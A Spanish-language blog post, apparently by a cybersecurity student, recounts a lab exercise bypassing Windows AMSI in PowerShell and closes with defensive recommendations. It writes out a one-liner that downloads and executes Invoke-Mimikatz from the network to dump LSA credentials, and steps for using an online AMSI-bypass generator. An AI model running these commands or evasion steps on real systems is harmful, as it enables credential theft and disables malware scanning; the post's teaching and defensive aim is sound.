Durante un ejercicio del máster de ciberseguridad que estoy cursando, decidí comprobar cuán eficaz es realmente AMSI, la interfaz de análisis antimalware de Windows. Lo que descubrí es que, con las herramientas adecuadas, es posible realizar un bypass AMSI en PowerShell sin privilegios de administrador, sin escribir en disco y sin levantar sospechas.
Este tipo de técnica es conocida por expertos de Red Team y pentesters, pero también debería estar en el radar de cualquier Blue Team.
Laboratorio de pruebas para probar el bypass AMSI
Para este ejercicio monté un entorno controlado y bien documentado:
- Windows 10 versión 22H2, sin modificaciones.
- PowerShell 5.1 con políticas por defecto.
- Windows Defender activo, sin cambios.
- Script utilizado: Invoke-Mimikatz, descargado directamente desde GitHub.
Primero ejecuté el script como cualquier atacante haría:
IEX(New-Object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/g4u
ss47/Invoke-Mimikatz/master/Invoke-Mimikatz.ps1"); Invoke-Mimikatz
Command '"lsadump::lsa /patch"'Resultado inmediato: AMSI intercepta el código y lo bloquea. Defender marca la amenaza y la ejecución no llega a ocurrir.
“Vale, esto funciona”, pensé. Hasta que dejó de funcionar.
Cómo realicé el bypass AMSI sin privilegios
La protección de AMSI puede parecer robusta, pero su funcionamiento interno es vulnerable a técnicas de evasión que manipulan directamente la memoria. Durante la práctica real que realicé en el máster de ciberseguridad, utilicé el AMSI Bypass Generator creado por d1se0. Esta herramienta no se limita a cambiar una variable: genera un payload ofuscado que parchea en memoria el comportamiento del método AmsiScanBuffer, responsable de analizar los scripts en ejecución.
Este tipo de ataque no deja rastro en disco, no requiere permisos de administrador, y puede ejecutarse en una sesión de PowerShell ya abierta. El script se genera dinámicamente y manipula el puntero de función de AmsiScanBuffer, devolviendo siempre un valor «limpio», es decir, como si el análisis del script no hubiera detectado ninguna amenaza.
La base de este enfoque se apoya en técnicas avanzadas de modificación dinámica del CLR de .NET, documentadas por el propio autor de la herramienta aquí. Específicamente, el payload parchea el método para que la respuesta del escaneo siempre sea 0 (AMSI_RESULT_CLEAN), eludiendo así cualquier análisis real.
En la práctica:
- Accedí a la página de d1se0 para generar el código: https://d1se0.github.io/AMSI-Bypass-Generator/
- Hice clic en el botón GENERATE
- Copié el script directamente desde el navegador.
- Lo pegué y ejecuté en PowerShell sin privilegios de administrador.
El script no devolvió ningún error —algo normal, ya que se trata de una modificación silenciosa en memoria.
Acto seguido, volví a ejecutar:
IEX(New-Object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/g4u
ss47/Invoke-Mimikatz/master/Invoke-Mimikatz.ps1"); Invoke-Mimikatz
Command '"lsadump::lsa /patch"'Y ya tenemos Mimikatz cargado en memoria sin ser interceptado:
¿Por qué es tan preocupante?
Porque AMSI actúa dentro del mismo proceso de PowerShell. Si alguien consigue modificar el comportamiento del proceso, como en este caso, puede desactivar la protección sin que el sistema lo impida.
Y lo más grave:
- No se necesita ser administrador
- No se escribe nada en disco
- No se dispara ninguna alerta estándar si no tienes vigilancia proactiva
Técnicas similares para hacer bypass a AMSI
Además del parcheo en memoria del AmsiScanBuffer, existen otras:
- Obfuscación con Invoke-Obfuscation
- Carga de payloads en memoria desde runspaces
- Manipulación de punteros en binarios personalizados
- Modificación de variables como
amsiInitFailed(más detectada hoy día)
Lo que diferencia al método probado es su eficiencia y bajo perfil. La mayoría de EDRs no lo detectan si no están afinados.
¿Qué puedes hacer para defenderte ante un bypass AMSI?
No basta con confiar en que AMSI y Defender lo detecten todo. Aquí van algunas buenas prácticas:
- Activar AppLocker o WDAC para restringir PowerShell
- Usar Constrained Language Mode por defecto para usuarios estándar
- Implementar reglas de detección con Sysmon + Sigma para llamadas como
GetType,GetField,SetValue - Configurar alertas para actividades anómalas en PowerShell con tu SIEM
- Evaluar si tu EDR detecta bypass de AMSI o solo amenazas por firma
Mi conclusión tras este ejercicio
Lo que empecé como una práctica de laboratorio se convirtió en un recordatorio profesional: si puedes ejecutar PowerShell, puedes desactivar AMSI. Y si puedes desactivar AMSI, puedes hacer mucho más.
Las protecciones por diseño son necesarias, pero no suficientes. La vigilancia activa, el monitoreo y la segmentación son imprescindibles si quieres dormir tranquilo.
